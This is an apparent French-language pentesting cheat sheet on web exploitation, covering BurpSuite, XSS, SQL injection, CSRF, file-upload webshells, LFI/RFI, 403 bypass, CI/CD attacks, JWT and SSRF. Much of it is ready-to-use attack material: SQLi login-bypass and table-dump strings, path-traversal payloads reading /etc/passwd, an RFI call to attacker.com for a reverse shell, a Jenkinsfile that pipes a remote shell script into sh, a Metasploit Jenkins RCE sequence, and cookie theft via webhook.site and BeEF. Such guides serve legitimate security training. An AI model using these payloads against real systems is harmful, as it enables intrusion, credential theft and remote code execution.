Web
[Exploitation/Web] BurpSuite
Introduction
BurpSuite est un proxy développé par PortSwigger utilisé par les attaquants pour effectuer de multiples attaques web.
Il permet notamment d'intercepter des requêtes HTTP pour les modifier et les envoyer.
De plus, il supporte une multitude d'autres fonctions comme les attaques brute force ou MITM.
Installation
L'outil est déjà installé par défaut sur Kali Linux et Exegol.
Si vous souhaitez l'installez sur votre distribution Linux, téléchargez le script bash depuis le site officiel :
https://portswigger.net/burp/releases/professional-community-2023-10-2-3
FoxyProxy
Cette extension Firefox permet de basculer rapidement d'une configuration Proxy à l'autre sans passer par les paramètres du navigateur.
Elle est très pratique car elle permet de rapidement activer ou désactiver l'utilisation du proxy dans Firefox.
Voici le lien de l'extension :
https://addons.mozilla.org/fr/firefox/addon/foxyproxy-standard/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search
On peut configurer le proxy de burp de la sorte dans les paramètres de FoxyProxy :
Manuel
Lors du démarrage, passez toutes les étapes afin de démarrer le logiciel jusqu'à accéder à cette interface :
Proxy
Depuis l'interface principale, accédez à l'onglet Proxy :
On voit que par défaut l'interception est désactivée, alors activez-la en cliquant sur le bouton Intercept is off afin de changer l'état de Burp et de voir apparaître Intercept is on :
Par ailleurs, vous pourrez ensuite appuyer de nouveau sur ce bouton pour le désactiver.
On peut maintenant activer le proxy dans Firefox grâce à FoxyProxy :
Désormais, lorsque vous ferez une requête sur un site web, vous la verrez apparaître dans Burp :
Après avoir fait des modifications dans votre requête (ou non) vous avez 2 possibilités :
Forward : Envoie la requête.
Drop : Jette la requête à la poubelle.
Repeater
Le mode répéteur dans Burp est souvent plus intéressant que le mode Proxy puisqu'il permet de travailler uniquement sur la requête qui nous intéresse, et surtout il permet d'analyser la réponse.
Pour transférer votre requête dans le mode Repeater il suffit de faire un clic droit sur votre requête depuis le mode Proxy puis cliquer sur Send to Repeater ou utiliser la combinaison CTRL+R .
Vous pouvez ensuite accéder à l'onglet Repeater et voir votre requête.
On peut cliquer sur Send pour envoyer la requête et obtenir la réponse :
On peut aussi accéder à l'onglet Render qui permet d'obtenir le rendu graĥique de la page.
Remarque : Sur exegol, le message suivant peut s'afficher :
Il faut donc activer le paramètre comme indiqué : Burp > Settings > Burp's browser > Allow Burp's browser to run without sandbox .
Désormais, l'affichage graphique de la page devrait s'afficher :
[Exploitation/Web] XSS
Introduction
Les failles XSS pour Cross Site Scripting permettent à un attaquant d'injecter du code dans une page web afin qu'il soit executé côté client. Il existe trois type de XSS qui permettent à un attaquant d'avoir un panel d'attaques plus ou moins grand.
Les types de XSS
De manière générale, les injections XSS sont possibles lorsque l'application web propose une fonctionnalité mal protégée d' entrée de texte qui est ensuite affichée sur la page.
Il est possible de tester la possibilité d'injection d'un champs grâce au code javascript suivant :
Si une popup affichant le message "XSS available !" apparait, c'est qu'une XSS est disponible et peut être exploitée.
Ensuite, selon le type de XSS, vous pourrez :
Injecter du code dans la page vulnérable.
Voler les cookies des utilisateurs se rendant sur la page vulnérable.
Cette dernière possibilité est certainement l'action la plus intéressante à réaliser avec une XSS.
XSS reflected
Ce type de XSS est sûrement le moins dangereux puisqu'il a la particularité de ne plus être actif après le rafraîchissement de la page .
Cependant, si le champs d'entrée de texte se trouve dans l'URL, il peut être tout aussi dangereux qu'une XSS stored grâce à des techniques de social engineering .
Ainsi, vous pourrez aussi voler des cookies des utilisateurs sous certaines conditions.
XSS stored
Ce type de XSS, aussi appelé XSS permanent, reste sur la page même après le rafraîchissement ce qui facilite la tâche à l'attaquant pour procéder à des attaques.
Ce type de XSS est disponible lorsque le code injecté par l'entrée vulnérable est stockée en base de donnée et est affiché à chaque chargement de la page.
Ainsi, si l'utilisateur du site se rend sur une page légitime mais vulnérable, il pourra se voir executer des payloads introduit par l'attaquant.
DOM-based XSS
Un peu de la même manière que la XSS reflected, ce type de XSS n'affecte que la page côté client.
En fait, ce type d'attaque est possible lorsque le code javascript est mal protégé et inclut un champs injectable par l'utilisateur.
Par exemple, le code suivant est vulnérable :
let userText = window.location.href.split('input=')[1]; // Récupère la valeur du paramètre 'input' dans l'URL
document.getElementById('zoneAmodifier').innerHTML = userText; // Injection de la valeur dans le DOM
L'attaquant peut l'exploiter de la manière suivante :
https://www.example.com/page?input=
Un autre exemple de code vulnérable pourrait être celui-ci :
var number = '4';
Voici comment l'exploiter pour faire un alert (qu'on peut remplacer par un autre code Javascript) :
4'; alert(1); //
Bypass WAF
Parfois, il se peut que vous trouviez une XSS sans pouvoir l'exploiter parce qu'un pare-feu applicatif (WAF) vous met des bâtons dans les roues.
Toutefois, les WAF sont généralement basés sur des règles et peuvent être contournés en utilisant quelques techniques.
Majuscules dans les balises
Nouvelle ligne
Encodage de l'URL
%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Double encodage de l'URL
%253Cscript%253Ealert(1)%253C/script%253E
Tag Anchor
Fonction alerte en majuscule
Webhook.site
Ce site en ligne permet de récupérer les cookies d'une victime :
https://webhook.site
Voici un code Javascript qui permet d'envoyer un cookie en paramètre lorsque le code est exécuté :
Dans le cas où le caractère "+" ne serait pas pris en charge vous pouvez utiliser la fonction concat .
Beef-XSS
Présentation
Cet outil permet à un attaquant d'exploiter des XSS afin d'en tirer profit.
Voici les fonctionnalités proposées par Beef grâce à ses modules :
Vol de cookie.
Empoisonnement du navigateur pour capturer/modifier le trafic.
Détection et infection avec RCE des navigateurs vulnérables.
Voici comment se présente l'interface web de contrôle de Beef pour l'attaquant :
Installation
Une page github du projet est dédiée à l'installation de Beef : https://github.com/beefproject/beef/wiki/Installation
Vous pouvez aussi exécuter cette commande :
sudo gem install bundler && sudo git clone https://github.com/beefproject/beef && cd beef && sudo apt install libssl-dev && rvm install "ruby-3.0.3" && sudo ./install && sudo bundle install
Manuel
Avant de lancer Beef, il faut éditer le fichier config.yaml afin de définir l'utilisateur et le mot de passe dans la section credentials :
credentials:
user: "beef"
passwd: "beef1234"
Puis démarrez Beef grâce à cette commande :
sudo ./beef
Quelque chose comme ça devrait s'afficher :
[12:02:58][*] BeEF is loading. Wait a few seconds...
[12:03:01][*] 8 extensions enabled:
[12:03:01] | XSSRays
[12:03:01] | Social Engineering
[12:03:01] | Requester
[12:03:01] | Proxy
[12:03:01] | Network
[12:03:01] | Events
[12:03:01] | Demos
[12:03:01] |_ Admin UI
[12:03:01][*] 303 modules enabled.
[12:03:01][*] 5 network interfaces were detected.
[12:03:01][*] running on network interface: 127.0.0.1
[12:03:01] | Hook URL: http://127.0.0.1:3000/hook.js
[12:03:01] |_ UI URL: http://127.0.0.1:3000/ui/panel
[12:03:01][*] running on network interface: 192.168.2.30
[12:03:01] | Hook URL: http://192.168.2.30:3000/hook.js
[12:03:01] |_ UI URL: http://192.168.2.30:3000/ui/panel
[12:03:01][*] running on network interface: 172.17.0.1
[12:03:01] | Hook URL: http://172.17.0.1:3000/hook.js
[12:03:01] |_ UI URL: http://172.17.0.1:3000/ui/panel
[12:03:01][*] running on network interface: 192.168.188.1
[12:03:01] | Hook URL: http://192.168.188.1:3000/hook.js
[12:03:01] |_ UI URL: http://192.168.188.1:3000/ui/panel
[12:03:01][*] running on network interface: 192.168.192.1
[12:03:01] | Hook URL: http://192.168.192.1:3000/hook.js
[12:03:01] |_ UI URL: http://192.168.192.1:3000/ui/panel
[12:03:01][*] RESTful API key: d0739ac4656cd46389134e01cd48896b46b559d7
[12:03:01][!] [GeoIP] Could not find MaxMind GeoIP database: '/usr/share/GeoIP/GeoLite2-City.mmdb'
[12:03:01][*] HTTP Proxy: http://127.0.0.1:6789
[12:03:01][*] BeEF server started (press control+c to stop)
Votre serveur de contrôle web Beef est disponible sur toutes vos interfaces sur le port 3000 à l'adresse suivante :
http://localhost:3000/ui/authentication
On peut envoyer un payload de ce type pour infecter les utilisateurs qui se rendent sur la page :
[Exploitation/Web] SQL injection
Introduction
Certainement l'une des injections web les plus connues, la SQLi permet de modifier une requête SQL initiale afin d'effectuer des actions non prévues par le concepteur de l'application.
Un attaquant pourrait exploiter cette vulnérabilité afin de contourner un système d'authentification ou récupérer le contenu d'une ou plusieurs tables de la base de données.
Exploitation manuelle
Bien que des outils comme SQLmap permettent d'exploiter automatiquement les failles SQL, il est toujours intéressant de savoir les exploiter manuellement pour plusieurs raisons :
Comprendre le fonctionnement de ce que vous faites.
Éviter le bombardement de requêtes sur la cible.
Utiliser des fonctions non proposées par les outils automatisées.
Pour manipuler manuellement les requêtes, je vous recommande d'utiliser BurpSuite .
Tester l'injection
Les injections SQL sont possibles lorsqu'un paramètre modifiable par l'utilisateur est vulnérable car le développeur n'a pas préparé la requête.
Vous comprenez donc que l'injection SQL fonctionne donc aussi bien avec les paramètres utilisant la méthode GET que la méthode POST , seulement l'exploitation changera.
On peut tester la vulnérabilité du paramètre grâce au caractère ' qui devrait générer une erreur SQL qui s'affichera dans le cas où l'administrateur n'a pas désactiver le retour des erreurs :
http://monsitevulnerable.com/profil.php?id=id=1'
Contourner l'authentification
Si un formulaire d'authentification est vulnérable, il est possible d'usurper le compte d'un utilisateur ou de l'administrateur sans connaître son mot de passe grâce à l'injection suivante :
pass' OR 1=1 ;--
Afficher les champs d'une table
Il est aussi possible de dumper les tables.
Remarque : on sera limité au nombre de champs affiché initialement sur la page !
1 UNION SELECT 1,username,password FROM users ;--
Time based
Dans le cas où l'administrateur de l'application aurait désactivé l'affichage des erreurs SQL, nous ne pouvons pas afficher directement le résultat de nos requêtes SQL personnalisées sur la page.
Cependant, cela ne signifie en aucun cas que la vulnérabilité est inexploitable !
Puisqu'il n'y a aucun moyen d'avoir un retour visuel, on peut utiliser la fonction SLEEP() qui permet de mettre un délai et ainsi vérifier que la requête aboutie ou n'aboutie pas.
C'est assez rudimentaire mais efficace !
La fonction peut porter un autre nom selon le SGBD utilisé.
Par exemple, pour PostGreSQL il s'agit de PG_SLEEP() . Voici la syntaxe :
1;SELECT PG_SLEEP(2)--
SqlMap
Présentation
Cet outil permet d'automatiser les injections SQL et peut vous faire gagner beaucoup de temps.
Manuel
Voici la syntaxe globale :
sqlmap -u
Voici quelques options intéressantes :
Options
Descriptifs
--dump
Permet d'extraire les données sensibles.
--tables
Affiche les noms des tables dans la base de données.
--columns
Affiche les noms des colonnes d'une table.
--cookie=" "
Spécifie le cookie à utiliser pour l'authentification.
--technique=[U|B]
Définit la technique d'injection à utiliser (U pour Union-Based et B pour Blind).
--delay=
Définit un temps d'attente entre les requêtes pour contourner certaines protections.
--data=" "
Spécifie les données POST.
--level=[1-5]
Définit le niveau de tests de pénétration (de 1 à 5, 5 étant le plus agressif).
--dbms
Spécifie le type de SGBD utilisé.
--os-shell
Ouvre un shell sur le système d'exploitation hôte.
--users
Lance une attaque brute force pour trouver les utilisateurs.
--passwords
Lance une attaque brute force pour trouver les mots de passe.
[Exploitation/Web] CSRF
Introduction
La faille CSRF pour Cross- Site Request Forgery fonctionne presque sur le même principe que XSS mais a pour objectif de faire exécuter à un utilisateur privilégié, une fonction non accessible en temps normal.
Source
Documentation - PortSwigger
Exploitation
L'objectif est de trouver une page vulnérable à une injection de code que l'administrateur va visiter.
Ensuite, il faut injecter un formulaire malveillant qui sera automatiquement validé lors du chargement de la page :
[Exploitation/Web] File upload
Introduction
Les injections de code par envoi de fichier sont redoutables sur les pages web puisqu'elles aboutissent généralement à une execution de commande à distance ( RCE ).
Les sécurités mises en place par les développeurs ne sont parfois pas suffisantes car un tas de paramètres doit être contrôlé avant de permettre l'envoie d'un fichier sur le serveur.
Source
Documentation officielle de la fonction PHP basename()
Exploits
Webshell
Double extensions
En effet, les formulaires d'envoi de fichiers sont parfois uniquement protégé par un filtre sur l'extension du fichier .
Malheureusement, ce filtre est aisément contournable en mettant une double extension sur votre fichier.
Exemple :
payload.php.png
Ce type d'attaque fonctionne car le navigateur fait du Content-Type-Sniffing sur le fichier pour l'interpreter.
C'est à dire qu'il va l'analyser pour déterminer son type sans se fier à l' extension ou au content-type de l'en-tête du fichier.
Pour l'exploiter il suffit donc de :
Créer votre payload au format standard php
Renommer le fichier de sorte à ajouter l'extension de fichier autorisé (après le .php )
Envoyer le fichier sur le serveur
Accéder au fichier via l'URL pour exécuter le payload.
Type MIME
Une autre protection est le filtre par type MIME du fichier envoyé.
Les types MIME définissent le format et le type de contenu d'un fichier, permettant de reconnaître et d'interpréter correctement le contenu des fichiers.
Lors de l'envoi d'un fichier, le type MIME est spécifié dans l'entête de la requête via le paramètre content-type .
Grâce à des outils comme Burp , il est possible de modifier la requête pour modifier ce paramètre et tromper le serveur sur le type de fichier envoyé.
Voici quelques content-type (MIME) qui peuvent vous servir à contourner une protection basée sur le MIME :
application/pdf (utilisé pour les fichiers pdf)
text/html (utilisé pour les fichiers html)
application/php (utilisé pour les fichiers php)
image/jpeg (utilisé pour les fichiers jpeg/jpg)
application/png (utilisé pour les fichiers png)
Null byte
Lorsque le serveur se base sur l' extension du fichier et sur le MIME du fichier il semble impossible de le duper.
Pourtant, il existe une dernière technique très puissante qui exploite une faiblesse de la fonction basename() utilisé en php pour obtenir le nom du fichier (ainsi que son extension).
Cette fonction étant codée en langage C , elle est sensible aux caractères ASCII dont le fameux null byte , aussi appelé caractère zéro.
Celui-ci marque la fin d'une chaîne de caractère en délaissant complètement tout les caractères qui peuvent suivre (comme l'extension d'un fichier par exemple).
Pour exploiter cette vulnérabilité, il suffit d'utiliser burp et de modifier la requête de sorte à :
Modifier le content-type (si une sécurité MIME est présente).
Ajouter un null byte suivi par une extension de fichier autorisé.
Voici la requête initiale lors de l'envoi du fichier payload.php :
Et voici la requête modifiée :
Une fois la requête envoyée et le fichier correctement envoyé sur le serveur, il ne reste plus qu'à trouver le chemin du fichier payload.php ( et non payload.php%00.jpeg car la fonction basenaem() a retiré toute cette partie du nom du fichier ).
[Exploitation/Web] LFI / RFI
Introduction
Les vulnérabilités web LFI pour Local File Inclusion et RFI pour Remote File Inclusion sont utilisées pour accéder à des ressources non autorisées sur le serveur cible.
Elles exploitent généralement un paramètre mal protégé qui utilise souvent une fonction include (notamment en PHP).
Sources
Hacktricks - File Inclusion
LFI
Exploitation traditionnelle
Admettons le cas d'une page web index.php avec un paramètre page pour inclure d'autres fichiers tels que 1.php situé dans le même dossier /var/www/html .
Vous pourriez accéder au fichier /etc/passwd grâce à l'injection suivante :
http://example.com/index.php?page=../../../etc/passwd
Null byte
Vous pourriez aussi utiliser un nullbyte pour supprimer un filtre basé sur l'extension du fichier de la manière suivante :
http://example.com/index.php?page=../../../etc/passwd%00
Encodage
Parfois, certains filtres vérifient la présence du caractère " /" ou "." par exemple.
Vous pourriez le faire en encodant ou en double-encodant ces caractères :
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Wrapper PHP
Dans des cas spécifiques vous allez devoir utiliser des wrappers qui sont des fonctions php qui permettent notamment d'accéder à des ressources.
https://book.hacktricks.xyz/pentesting-web/file-inclusion#php-filter
https://www.php.net/manual/fr/wrappers.php
RFI
Exploitation traditionnelle
Si une RFI est exploitable, il vous faudra monter un serveur web, héberger un reverse shell php dessus, lancer un listener et exécuter votre payload de la manière suivante :
http://example.com/index.php?page=http://attacker.com/mal.php
[Exploitation/Web] Bypass 403
Introduction
Il arrive parfois que certaines ressources soient protégées sur des applications web et que lorsque vous essayez d'y accéder, vous obteniez l'erreur 403 Forbidden .
Dans ce cas précis, il est parfois possible de contourner les sécurités mises en place pour quand même accéder à la ressource.
Source
Hacktricks - 403 & 401 Bypasses
Méthodes
Voici la liste des méthodes que vous pouvez essayer de modifier dans l'entête HTTP avec BurpSuite :
GET
HEAD
POST
PUT
DELETE
CONNECT
OPTIONS
TRACE
PATCH
INVENTED
HACK
HTTP Headers
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Pour tester toutes ces en-têtes automatiquement, vous pouvez utiliser le script fuzzhttpbypass .
[Exploitation/Web] IP spoofing
Introduction
Il se peut qu'une ressource d'un site web soit protégé par un filtre d'adresse IP.
Dans ce cas, il est parfois possible de contourner cette restriction en faisant croire au serveur que la requête provient d'une adresse IP légitime en modifiant l'en-tête.
Manuel
Depuis Burpsuite, on peut modifier les requêtes HTTP et ainsi, falsifier l'adresse IP source indiquée dans la requête.
Pour cela, il suffit d'ajouter dans l'en-tête de la requête, le champ suivant :
X-Forwarded-For:
Remplacer par l'adresse que vous souhaitez falsifier pour tromper le serveur.
[Exploitation/Web] CI/CD
Introduction
Cette page décrit différentes exploitations de vulnérabilités dans le processus CI/CD qui peuvent être exploitées au profit d'un attaquant.
Techniques
Build Process
Dans le cas où vous auriez accès à un dépôt Git avec un accès à un JenkinsFile , vous pourriez le modifier pour prendre le contrôle de l'agent Jenkins .
Pour cela, vous pouvez créer un fork du projet pour modifier le JenkinsFile de la sorte :
pipeline {
agent any
stages {
stage('build') {
steps {
sh '''
curl http://:8080/shell.sh | sh
'''
}
}
}
}
Vous devez au préalable créer votre payload et l'héberger sur votre serveur web.
Vous pouvez ensuite faire un Merge Request pour lancer la pipeline et exécuter le payload.
Build server
Si vous possédez les identifiants du serveur web Jenkins , vous pouvez utiliser Metasploit pour lancer une RCE :
msfconsole
use exploit/multi/http/jenkins_script_console
set target 1
set payload linux/x64/meterpreter/bind_tcp
set password jenkins
set username jenkins
set RHOST jenkins.tryhackme.loc
set targeturi /
set rport 8080
run
[Exploitation/Web] Encodage
Introduction
Lors de vos attaques web vous aurez besoin d'encoder vos payloads sous divers formats. Cette page liste des outils qui vous permettront de le faire.
Manuel
Urlencode
Cet outil peut être installé sur les distributions Debian de cette façon :
apt install gridsite-clients
Il permet d'encoder au format URL vos payloads directement depuis le shell :
urlencode
Cyberchef
https://gchq.github.io/CyberChef/
Encodage Unicode
Cette technique permet de contourner certaines solutions de sécurité :
[Exploitation/Web] JWT
Introduction
Les JWT pour JSON web tokens sont des jetons utilisés un peu de la même manière que les cookies qui permettent de gérer l'authentification à une page. Ils sont segmentés en 3 parties séparées par des points :
Le header .
Le payload (contenu).
La signature .
Exploitation
Basique
Une fois connecté avec un utilisateur vous devriez avoir un jeton JWT. Pour l'obtenir, vous pouvez l'intercepter avec Burp.
Ensuite, vous pouvez le modifier grâce au site suivant :
https://token.dev/
[Web] SSRF
Introduction
Le SSRF pour Server-Side Request Forgery est une vulnérabilité où un attaquant exploite une fonctionnalité d’un serveur pour envoyer des requêtes illégitimes. Contrairement aux attaques traditionnelles, le SSRF tire parti de la capacité du serveur à faire des requêtes en son nom, permettant ainsi à l'attaquant de contourner les restrictions de sécurité. Cela peut conduire à l'accès non autorisé à des systèmes internes, à l'exfiltration de données, ou même à l'exécution de commandes sur le serveur ciblé.
Fiche explicative